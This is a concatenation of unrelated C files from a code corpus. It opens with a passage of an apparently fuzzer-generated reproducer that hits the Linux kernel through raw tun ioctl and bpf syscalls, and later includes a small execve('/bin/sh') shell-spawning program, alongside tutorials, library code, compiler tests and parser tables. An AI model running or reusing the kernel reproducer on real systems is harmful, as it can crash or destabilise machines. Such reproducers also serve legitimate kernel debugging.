static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
int collide = 0;
again:
for (call = 0; call < 3; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (collide && (call % 2) == 0)
break;
event_timedwait(&th->done, 45);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
close_fds();
if (!collide) {
collide = 1;
goto again;
}
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter;
for (iter = 0;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
uint64_t r[1] = {0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
NONFAILING(memcpy((void*)0x20000140, "/dev/net/tun\000", 13));
res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000140ul, 0ul, 0ul);
if (res != -1)
r[0] = res;
break;
case 1:
NONFAILING(memcpy(
(void*)0x20000300,
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000",
16));
NONFAILING(*(uint16_t*)0x20000310 = 0xc205);
syscall(__NR_ioctl, r[0], 0x400454ca, 0x20000300ul);
break;
case 2:
NONFAILING(*(uint32_t*)0x20000040 = 6);
NONFAILING(*(uint32_t*)0x20000044 = 4);
NONFAILING(*(uint32_t*)0x20000048 = 0x7fff);
NONFAILING(*(uint32_t*)0x2000004c = 0x6e);
NONFAILING(*(uint32_t*)0x20000050 = 0);
NONFAILING(*(uint32_t*)0x20000054 = -1);
NONFAILING(*(uint32_t*)0x20000058 = 0);
NONFAILING(*(uint8_t*)0x2000005c = 0x31);
NONFAILING(*(uint8_t*)0x2000005d = 0);
NONFAILING(*(uint8_t*)0x2000005e = 0);
NONFAILING(*(uint8_t*)0x2000005f = 0);
NONFAILING(*(uint8_t*)0x20000060 = 0);
NONFAILING(*(uint8_t*)0x20000061 = 0);
NONFAILING(*(uint8_t*)0x20000062 = 0);
NONFAILING(*(uint8_t*)0x20000063 = 0);
NONFAILING(*(uint8_t*)0x20000064 = 0);
NONFAILING(*(uint8_t*)0x20000065 = 0);
NONFAILING(*(uint8_t*)0x20000066 = 0);
NONFAILING(*(uint8_t*)0x20000067 = 0);
NONFAILING(*(uint8_t*)0x20000068 = 0);
NONFAILING(*(uint8_t*)0x20000069 = 0);
NONFAILING(*(uint8_t*)0x2000006a = 0);
NONFAILING(*(uint8_t*)0x2000006b = 0);
NONFAILING(*(uint32_t*)0x2000006c = 0);
NONFAILING(*(uint32_t*)0x20000070 = -1);
NONFAILING(*(uint32_t*)0x20000074 = 0);
NONFAILING(*(uint32_t*)0x20000078 = 0);
NONFAILING(*(uint32_t*)0x2000007c = 0);
syscall(__NR_bpf, 0xc00000000000000ul, 0x20000040ul, 0x40ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
setup_binfmt_misc();
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/389877.c
|
// Test interaction of Asan recovery mode with asynch signals.
//
// RUN: %clang_asan -fsanitize-recover=address -pthread %s -o %t
//
// RUN: rm -f %t.log
// RUN: %env_asan_opts=halt_on_error=false:suppress_equal_pcs=false %run %t 100 >>%t.log 2>&1 || true
// Collision will almost always get triggered but we still need to check the unlikely case:
// RUN: FileCheck --check-prefix=CHECK-COLLISION %s < %t.log || FileCheck --check-prefix=CHECK-NO-COLLISION %s < %t.log
#define _SVID_SOURCE 1 // SA_NODEFER
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <time.h>
#include <signal.h>
#include <sanitizer/asan_interface.h>
void random_delay(unsigned *seed) {
*seed = 1664525 * *seed + 1013904223;
struct timespec delay = { 0, (*seed % 1000) * 1000 };
nanosleep(&delay, 0);
}
volatile char bad[2] = {1, };
void error() {
// CHECK-COLLISION: AddressSanitizer: nested bug in the same thread, aborting
// CHECK-NO-COLLISION: AddressSanitizer: use-after-poison
volatile int idx = 0;
bad[idx] = 0;
}
#define CHECK_CALL(e, msg) do { \
if (0 != (e)) { \
fprintf(stderr, "Failed to " msg "\n"); \
exit(1); \
} \
} while (0)
size_t niter = 10;
pthread_t sender_tid, receiver_tid;
pthread_mutex_t keep_alive_mu = PTHREAD_MUTEX_INITIALIZER;
void *sender(void *arg) {
unsigned seed = 0;
for (size_t i = 0; i < niter; ++i) {
random_delay(&seed);
CHECK_CALL(pthread_kill(receiver_tid, SIGUSR1), "send signal");
}
return 0;
}
void handler(int sig) {
// Expect error collisions here
error();
}
void *receiver(void *arg) {
unsigned seed = 1;
for (size_t i = 0; i < niter; ++i) {
random_delay(&seed);
// And here
error();
}
// Parent will release this when it's ok to terminate
CHECK_CALL(pthread_mutex_lock(&keep_alive_mu), "unlock mutex");
return 0;
}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Syntax: %s niter\n", argv[0]);
exit(1);
}
niter = (size_t)strtoul(argv[1], 0, 0);
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = handler;
sa.sa_flags = SA_NODEFER; // Enable nested handlers to add more stress
CHECK_CALL(sigaction(SIGUSR1, &sa, 0), "set sighandler");
__asan_poison_memory_region(&bad, sizeof(bad));
CHECK_CALL(pthread_mutex_lock(&keep_alive_mu), "lock mutex");
CHECK_CALL(pthread_create(&receiver_tid, 0, receiver, 0), "start thread");
CHECK_CALL(pthread_create(&sender_tid, 0, sender, 0), "start thread");
CHECK_CALL(pthread_join(sender_tid, 0), "join thread");
// Now allow receiver to die
CHECK_CALL(pthread_mutex_unlock(&keep_alive_mu), "unlock mutex");
CHECK_CALL(pthread_join(receiver_tid, 0), "join thread");
// CHECK-NO-COLLISION: All threads terminated
printf("All threads terminated\n");
return 0;
}
|
the_stack_data/166267.c
|
/*
* author: Mahmud Ahsan
* https://github.com/mahmudahsan
* blog: http://thinkdiff.net
* http://banglaprogramming.com
* License: MIT License
*/
/*
* Function
* A sequence of statements can be defined as function
* Syntax:
* return_type function_name(arguments){
* statements;
* }
*/
#include <stdio.h>
void welcomeMessage(){
printf("Welcome in my world!\n");
}
int square(int number){
int result = number * number;
return result;
}
double squareDouble(double number){
return number * number;
}
// built in function
int main(){
welcomeMessage();
printf("Square number of 2 is %d\n", square(2));
printf("Square number of 2.2 is %.2f\n", squareDouble(2.2));
printf("\n");
// Multiplication table for 2
for (int i = 1; i <= 10; ++i){
printf("2 x %d = %d\n", i, square(i));
}
return 0;
}
|
the_stack_data/49090.c
|
/* $OpenBSD: strnlen.c,v 1.9 2019/01/25 00:19:25 millert Exp $ */
/*
* Copyright (c) 2010 Todd C. Miller <[email protected]>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <sys/types.h>
#include <string.h>
size_t
strnlen(const char *str, size_t maxlen)
{
const char *cp;
for (cp = str; maxlen != 0 && *cp != '\0'; cp++, maxlen--)
;
return (size_t)(cp - str);
}
|
the_stack_data/141521.c
|
/* PR sanitizer/65400 */
/* { dg-do compile } */
extern void foo (int *);
void
baz4 (int *p)
{
foo (p);
}
|
the_stack_data/506385.c
|
#include <stdio.h>
#include <ctype.h>
#define LINE_LENGTH 1024
char line[LINE_LENGTH];
int isprefix(s, pref)
char * s;
char * pref;
{
while (1) {
if (*pref == 0) return 1;
if (*s == 0) return 0;
if (*s != *pref) return 0;
s++;
pref++;
}
}
int main(argc, argv)
int argc;
char * argv [];
{
unsigned char * p;
int c;
int inquote;
int inverb;
int inverbatim;
inverbatim = 0;
inquote = 0;
while(fgets(line, LINE_LENGTH, stdin) != NULL) {
if (inverbatim) {
fputs(line, stdout);
if (isprefix(line, "\\end{verbatim")
|| isprefix(line, "\\end{alltt}")) inverbatim = 0;
continue;
}
if (isprefix(line, "\\begin{verbatim")
|| isprefix(line, "\\begin{alltt}")) {
fputs(line, stdout);
inverbatim = 1;
continue;
}
inverb = 0;
for (p = (unsigned char *) line; *p != 0; p++) {
c = *p;
if (inverb) {
if (c == inverb) inverb = 0;
putchar(c);
continue;
}
switch(c) {
case '"':
if (inquote) {
fputs("\001", stdout);
inquote = 0;
} else {
fputs("\\verb\001", stdout);
inquote = 1;
}
break;
case '\\':
if (isprefix(p, "\\verb") && p[5] != 0 && !isalpha(p[5])) {
inverb = p[5];
p = p + 5;
fputs("\\verb", stdout);
putchar(inverb);
} else if (inquote) {
if (p[1] == '"' || p[1] == '\\') {
c = p[1];
p++;
}
putchar(c);
} else {
putchar('\\');
}
break;
default:
putchar(c);
}
}
}
return 0;
}
|
the_stack_data/22013058.c
|
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
int main(void) {
char *arg[2];
arg[0] = "/bin/sh";
arg[1] = NULL;
execve("/bin/sh", arg, NULL);
return 0;
}
|
the_stack_data/167329387.c
|
#include<pthread.h>
#include<stdio.h>
#include<stdint.h>
#define THREAD_NUM 2
void *_thread_func(void *_arg)
{
printf("i am %ld.\n", (intptr_t) _arg);
return NULL;
}
int main(int argc, char **argv)
{
pthread_t th[THREAD_NUM];
intptr_t i;
/* int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void */
/* *(*start_routine)(void *), void *arg) */
for (i = 0; i < THREAD_NUM; i++) {
pthread_create(&(th[i]), NULL, _thread_func, (void *)i);
}
/* int pthread_join(pthread_t thread, void **value_ptr) */
for (i = 0; i < THREAD_NUM; i++) {
pthread_join(th[i], NULL);
}
return 0;
}
|
the_stack_data/93888456.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_isalnum.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: sikpenou <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/04/05 14:44:00 by sikpenou #+# #+# */
/* Updated: 2019/04/10 16:50:57 by sikpenou ### ########.fr */
/* */
/* ************************************************************************** */
int ft_isalnum(int c)
{
if ((47 < c && c < 58) || (64 < c && c < 91) || (96 < c && c < 123))
return (1);
else
return (0);
}
|
the_stack_data/48318.c
|
#include <stdio.h>
int hasSs(char array[]);
int main() {
char string[31];
scanf("%s", string);
if (hasSs(string) == 0) {
printf("hiss");
}
else {
printf("no hiss");
}
return 0;
}
int hasSs(char pt[]) {
for (; *pt; pt++) {
if (*pt == 's' && *++pt && *pt == 's') {
return 0;
}
}
return -1;
}
|
the_stack_data/206392212.c
|
#include <stdio.h>
int main() {
int par=0,impar =0;
int negativo=0, positivo =0;
int i,numero;
for(i=0; i<5 ;i++){
scanf("%d",&numero);
if(numero % 2 == 0){
par= par + 1;
}if(numero % 2 != 0){
impar = impar + 1;
}if (numero > 0){
positivo = positivo + 1;
}if (numero < 0){
negativo = negativo + 1;
}
}
printf("%d valor(es) par(es)\n",par);
printf("%d valor(es) impar(es)\n",impar);
printf("%d valor(es) positivo(s)\n",positivo);
printf("%d valor(es) negativo(s)\n",negativo);
}
|
the_stack_data/1028441.c
|
#include <stdio.h>
#include <string.h>
#define SIZE 80
#define LIM 100
void remove_whitespace(char *);
int main(void)
{
char input[LIM][SIZE];
int ct=0;
int index=0;
printf("Enter up to %d lines: \n", LIM);
while(ct<LIM && gets(input[ct])!=0 && input[ct][0]!='\0' && input[ct][0]!=EOF)
ct++;
printf("Input end\n");
for(index=0; index<ct; index++)
{
remove_whitespace(input[index]);
puts(input[index]);
}
return 0;
}
void remove_whitespace(char * ptr)
{
char * find;
while(find=strchr(ptr,32))
{
while(*find!='\0')
{
*find=*(find+1);
find++;
}
}
}
|
the_stack_data/20449468.c
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
// var
char frase[100];
//
fgets(frase,100,stdin);
// imprimir
printf("%s", frase);
freopen("epaepa.txt","r",stdin);
//
fgets(frase,100,stdin);
// imprimir
printf("%s", frase);
return 0;
}
|
the_stack_data/411134.c
|
// Copyright (C) INRIA 1999-2008
//
// This program is free software; you can redistribute it and/or modify it
// under the terms of the GNU General Public License version 2 as published
// by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
// Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//%
// @file ActuationModel/NoDynamics/TaskFunctionControl/Trajectory.scilab
// @author Florence Billet
//
// Affiliation(s): INRIA, team BIPOP
//
// Email(s): [email protected]
//
// @brief Compute the position, velocity and acceleration desired at a given time t
//
// Description:
//
#include "stdio.h"
#include "math.h"
#include "string.h"
void trajectory(double * t, double * position, double * velocity, double * acceleration, int * contacts)
{
int i;
double a, r, ry, rz;
char trajectoryName[20] = "";
a = M_PI / 3.0;
r = 0.2;
for (i = 0; i < 6; i++)
{
position[i] = 0;
velocity[i] = 0;
acceleration[i] = 0;
}
position[0] = (0.45 + 0.07) * cos(M_PI / 2 - M_PI / 3) + 0.38 * cos(M_PI / 2 - M_PI / 3 + M_PI / 6);
position[1] = r * cos(a * (*t)) + 0.42 + (0.45 + 0.07) * sin(M_PI / 2 - M_PI / 3) + 0.38 * sin(M_PI / 2 - M_PI / 3 + M_PI / 6) - r;
position[2] = r * sin(a * (*t));
position[3] = 0.1 * cos(M_PI / 2 - M_PI / 3);
position[4] = 0.15 * cos(M_PI / 2 - M_PI / 3);
velocity[1] = -r * a * sin(a * (*t));
velocity[2] = r * a * cos(a * (*t));
acceleration[1] = -r * a * a * cos(a * (*t));
acceleration[2] = -r * a * a * sin(a * (*t));
*contacts = 0;
}
|
the_stack_data/90054.c
|
// RUN: mlir-clang %s --function=* --detect-reduction -S | FileCheck %s
extern int print(double);
void sum(double *result, double* array, int N) {
#pragma scop
for (int j=0; j<N; j++) {
result[0] = 0;
for (int i=0; i<10; i++) {
result[0] += array[i];
}
print(result[0]);
}
#pragma endscop
}
// CHECK: func @sum(%arg0: memref<?xf64>, %arg1: memref<?xf64>, %arg2: i32)
// CHECK-NEXT: %cst = arith.constant 0.000000e+00 : f64
// CHECK-NEXT: %0 = arith.index_cast %arg2 : i32 to index
// CHECK-NEXT: affine.for %arg3 = 0 to %0 {
// CHECK-NEXT: affine.store %cst, %arg0[0] : memref<?xf64>
// CHECK-NEXT: %[[i2:.+]] = affine.load %arg0[0] : memref<?xf64>
// CHECK-NEXT: %[[i3:.+]] = affine.for %arg4 = 0 to 10 iter_args(%arg5 = %[[i2]]) -> (f64) {
// CHECK-NEXT: %[[i6:.+]] = affine.load %arg1[%arg4] : memref<?xf64>
// CHECK-NEXT: %[[i7:.+]] = arith.addf %arg5, %[[i6]] : f64
// CHECK-NEXT: affine.yield %[[i7]] : f64
// CHECK-NEXT: }
// CHECK-NEXT: affine.store %[[i3]], %arg0[0] : memref<?xf64>
// CHECK-NEXT: %[[i4:.+]] = affine.load %arg0[0] : memref<?xf64>
// CHECK-NEXT: %{{.*}} = call @print(%[[i4]]) : (f64) -> i32
// CHECK-NEXT: }
// CHECK-NEXT: return
// CHECK-NEXT: }
|
the_stack_data/247016921.c
|
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
void reportError(void* p) {
}
int learnFrom(int fd) {
struct stat s;
int b = fstat(fd, &s);
if(b < 0) {
reportError(&s);
return -22;
}
return b + 1;
}
int target(int foo) {
if(foo == 90) {
reportError(NULL);
return -50;
}
return foo + 12;
}
|
the_stack_data/28262862.c
|
/*
A County Library Management System
Created by Lewis Nyaga
on Feb, 2022
C89 Compiler
MIT License
*/
#include <stdio.h>
#include <stdlib.h>
int main()
{ printf("\tcounty library\n");
printf("Welcome Mr. Lewis Nyaga. \n");
printf("What would you like to do?\n");
printf("1. Add new user\n");
printf("1. Add Book.\n");
printf("Selected action: ");
return 0;
}
|
the_stack_data/98574855.c
|
#ifndef lint
static const char yysccsid[] = "@(#)yaccpar 1.9 (Berkeley) 02/21/93";
#endif
#define YYBYACC 1
#define YYMAJOR 1
#define YYMINOR 9
#define YYEMPTY (-1)
#define yyclearin (yychar = YYEMPTY)
#define yyerrok (yyerrflag = 0)
#define YYRECOVERING() (yyerrflag != 0)
#ifndef yyparse
#define yyparse quote_calc2_parse
#endif /* yyparse */
#ifndef yylex
#define yylex quote_calc2_lex
#endif /* yylex */
#ifndef yyerror
#define yyerror quote_calc2_error
#endif /* yyerror */
#ifndef yychar
#define yychar quote_calc2_char
#endif /* yychar */
#ifndef yyval
#define yyval quote_calc2_val
#endif /* yyval */
#ifndef yylval
#define yylval quote_calc2_lval
#endif /* yylval */
#ifndef yydebug
#define yydebug quote_calc2_debug
#endif /* yydebug */
#ifndef yynerrs
#define yynerrs quote_calc2_nerrs
#endif /* yynerrs */
#ifndef yyerrflag
#define yyerrflag quote_calc2_errflag
#endif /* yyerrflag */
#ifndef yylhs
#define yylhs quote_calc2_lhs
#endif /* yylhs */
#ifndef yylen
#define yylen quote_calc2_len
#endif /* yylen */
#ifndef yydefred
#define yydefred quote_calc2_defred
#endif /* yydefred */
#ifndef yydgoto
#define yydgoto quote_calc2_dgoto
#endif /* yydgoto */
#ifndef yysindex
#define yysindex quote_calc2_sindex
#endif /* yysindex */
#ifndef yyrindex
#define yyrindex quote_calc2_rindex
#endif /* yyrindex */
#ifndef yygindex
#define yygindex quote_calc2_gindex
#endif /* yygindex */
#ifndef yytable
#define yytable quote_calc2_table
#endif /* yytable */
#ifndef yycheck
#define yycheck quote_calc2_check
#endif /* yycheck */
#ifndef yyname
#define yyname quote_calc2_name
#endif /* yyname */
#ifndef yyrule
#define yyrule quote_calc2_rule
#endif /* yyrule */
#define YYPREFIX "quote_calc2_"
#define YYPURE 0
#line 2 "quote_calc2.y"
# include <stdio.h>
# include <ctype.h>
int regs[26];
int base;
int yylex(void);
static void yyerror(const char *s);
#line 109 "quote_calc2-s.tab.c"
#ifndef YYSTYPE
typedef int YYSTYPE;
#endif
/* compatibility with bison */
#ifdef YYPARSE_PARAM
/* compatibility with FreeBSD */
# ifdef YYPARSE_PARAM_TYPE
# define YYPARSE_DECL() yyparse(YYPARSE_PARAM_TYPE YYPARSE_PARAM)
# else
# define YYPARSE_DECL() yyparse(void *YYPARSE_PARAM)
# endif
#else
# define YYPARSE_DECL() yyparse(void)
#endif
/* Parameters sent to lex. */
#ifdef YYLEX_PARAM
# define YYLEX_DECL() yylex(void *YYLEX_PARAM)
# define YYLEX yylex(YYLEX_PARAM)
#else
# define YYLEX_DECL() yylex(void)
# define YYLEX yylex()
#endif
/* Parameters sent to yyerror. */
#ifndef YYERROR_DECL
#define YYERROR_DECL() yyerror(const char *s)
#endif
#ifndef YYERROR_CALL
#define YYERROR_CALL(msg) yyerror(msg)
#endif
extern int YYPARSE_DECL();
#define OP_ADD 257
#define OP_SUB 259
#define OP_MUL 261
#define OP_DIV 263
#define OP_MOD 265
#define OP_AND 267
#define DIGIT 269
#define LETTER 270
#define UMINUS 271
#define YYERRCODE 256
static const short quote_calc2_lhs[] = { -1,
0, 0, 0, 1, 1, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 3, 3,
};
static const short quote_calc2_len[] = { 2,
0, 3, 3, 1, 3, 3, 3, 3, 3, 3,
3, 3, 3, 2, 1, 1, 1, 2,
};
static const short quote_calc2_defred[] = { 1,
0, 0, 0, 17, 0, 0, 0, 0, 0, 3,
15, 0, 0, 0, 2, 0, 0, 0, 0, 0,
0, 0, 18, 0, 6, 0, 0, 0, 0, 0,
0, 0,
};
static const short quote_calc2_dgoto[] = { 1,
7, 8, 9,
};
static const short quote_calc2_sindex[] = { 0,
-38, 4, -36, 0, -51, -36, 6, -121, -249, 0,
0, -243, -36, -23, 0, -36, -36, -36, -36, -36,
-36, -36, 0, -121, 0, -121, -121, -121, -121, -121,
-121, -243,
};
static const short quote_calc2_rindex[] = { 0,
0, 0, 0, 0, -9, 0, 0, 12, -10, 0,
0, -5, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 14, 0, -3, -2, -1, 1, 2,
3, -4,
};
static const short quote_calc2_gindex[] = { 0,
0, 42, 0,
};
#define YYTABLESIZE 259
static const short quote_calc2_table[] = { 16,
15, 6, 22, 6, 14, 13, 7, 8, 9, 13,
10, 11, 12, 10, 16, 15, 17, 25, 18, 23,
19, 4, 20, 5, 21, 0, 0, 0, 0, 0,
16, 0, 0, 0, 0, 14, 13, 7, 8, 9,
0, 10, 11, 12, 12, 0, 0, 14, 0, 0,
0, 0, 0, 0, 24, 0, 0, 26, 27, 28,
29, 30, 31, 32, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
22, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 16, 15, 0, 0, 0, 14, 13,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 16, 0, 17, 0,
18, 0, 19, 0, 20, 0, 21, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 2, 0, 0,
0, 3, 0, 3, 0, 0, 0, 0, 0, 0,
4, 5, 4, 11, 16, 0, 17, 0, 18, 0,
19, 0, 20, 0, 21, 0, 0, 16, 15, 16,
15, 16, 15, 16, 15, 16, 15, 16, 15,
};
static const short quote_calc2_check[] = { 10,
10, 40, 124, 40, 10, 10, 10, 10, 10, 61,
10, 10, 10, 10, 258, 10, 260, 41, 262, 269,
264, 10, 266, 10, 268, -1, -1, -1, -1, -1,
41, -1, -1, -1, -1, 41, 41, 41, 41, 41,
-1, 41, 41, 41, 3, -1, -1, 6, -1, -1,
-1, -1, -1, -1, 13, -1, -1, 16, 17, 18,
19, 20, 21, 22, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
124, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, 124, 124, -1, -1, -1, 124, 124,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, 258, -1, 260, -1,
262, -1, 264, -1, 266, -1, 268, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, 256, -1, -1,
-1, 260, -1, 260, -1, -1, -1, -1, -1, -1,
269, 270, 269, 270, 258, -1, 260, -1, 262, -1,
264, -1, 266, -1, 268, -1, -1, 258, 258, 260,
260, 262, 262, 264, 264, 266, 266, 268, 268,
};
#define YYFINAL 1
#ifndef YYDEBUG
#define YYDEBUG 0
#endif
#define YYMAXTOKEN 271
#if YYDEBUG
static const char *yyname[] = {
"end-of-file",0,0,0,0,0,0,0,0,0,"'\\n'",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,"'%'","'&'",0,"'('","')'","'*'","'+'",0,"'-'",0,"'/'",0,0,0,0,0,0,0,
0,0,0,0,0,0,"'='",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,"'|'",0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,"OP_ADD","\"ADD\"","OP_SUB","\"SUB\"","OP_MUL","\"MUL\"","OP_DIV",
"\"DIV\"","OP_MOD","\"MOD\"","OP_AND","\"AND\"","DIGIT","LETTER","UMINUS",
};
static const char *yyrule[] = {
"$accept : list",
"list :",
"list : list stat '\\n'",
"list : list error '\\n'",
"stat : expr",
"stat : LETTER '=' expr",
"expr : '(' expr ')'",
"expr : expr \"ADD\" expr",
"expr : expr \"SUB\" expr",
"expr : expr \"MUL\" expr",
"expr : expr \"DIV\" expr",
"expr : expr \"MOD\" expr",
"expr : expr \"AND\" expr",
"expr : expr '|' expr",
"expr : \"SUB\" expr",
"expr : LETTER",
"expr : number",
"number : DIGIT",
"number : number DIGIT",
};
#endif
int yydebug;
int yynerrs;
int yyerrflag;
int yychar;
YYSTYPE yyval;
YYSTYPE yylval;
/* define the initial stack-sizes */
#ifdef YYSTACKSIZE
#undef YYMAXDEPTH
#define YYMAXDEPTH YYSTACKSIZE
#else
#ifdef YYMAXDEPTH
#define YYSTACKSIZE YYMAXDEPTH
#else
#define YYSTACKSIZE 500
#define YYMAXDEPTH 500
#endif
#endif
#define YYINITSTACKSIZE 500
typedef struct {
unsigned stacksize;
short *s_base;
short *s_mark;
short *s_last;
YYSTYPE *l_base;
YYSTYPE *l_mark;
} YYSTACKDATA;
/* variables for the parser stack */
static YYSTACKDATA yystack;
#line 73 "quote_calc2.y"
/* start of programs */
int
main (void)
{
while(!feof(stdin)) {
yyparse();
}
return 0;
}
static void
yyerror(const char *s)
{
fprintf(stderr, "%s\n", s);
}
int
yylex(void) {
/* lexical analysis routine */
/* returns LETTER for a lower case letter, yylval = 0 through 25 */
/* return DIGIT for a digit, yylval = 0 through 9 */
/* all other characters are returned immediately */
int c;
while( (c=getchar()) == ' ' ) { /* skip blanks */ }
/* c is now nonblank */
if( islower( c )) {
yylval = c - 'a';
return ( LETTER );
}
if( isdigit( c )) {
yylval = c - '0';
return ( DIGIT );
}
return( c );
}
#line 361 "quote_calc2-s.tab.c"
#if YYDEBUG
#include <stdio.h> /* needed for printf */
#endif
#include <stdlib.h> /* needed for malloc, etc */
#include <string.h> /* needed for memset */
/* allocate initial stack or double stack size, up to YYMAXDEPTH */
static int yygrowstack(YYSTACKDATA *data)
{
int i;
unsigned newsize;
short *newss;
YYSTYPE *newvs;
if ((newsize = data->stacksize) == 0)
newsize = YYINITSTACKSIZE;
else if (newsize >= YYMAXDEPTH)
return -1;
else if ((newsize *= 2) > YYMAXDEPTH)
newsize = YYMAXDEPTH;
i = data->s_mark - data->s_base;
newss = (short *)realloc(data->s_base, newsize * sizeof(*newss));
if (newss == 0)
return -1;
data->s_base = newss;
data->s_mark = newss + i;
newvs = (YYSTYPE *)realloc(data->l_base, newsize * sizeof(*newvs));
if (newvs == 0)
return -1;
data->l_base = newvs;
data->l_mark = newvs + i;
data->stacksize = newsize;
data->s_last = data->s_base + newsize - 1;
return 0;
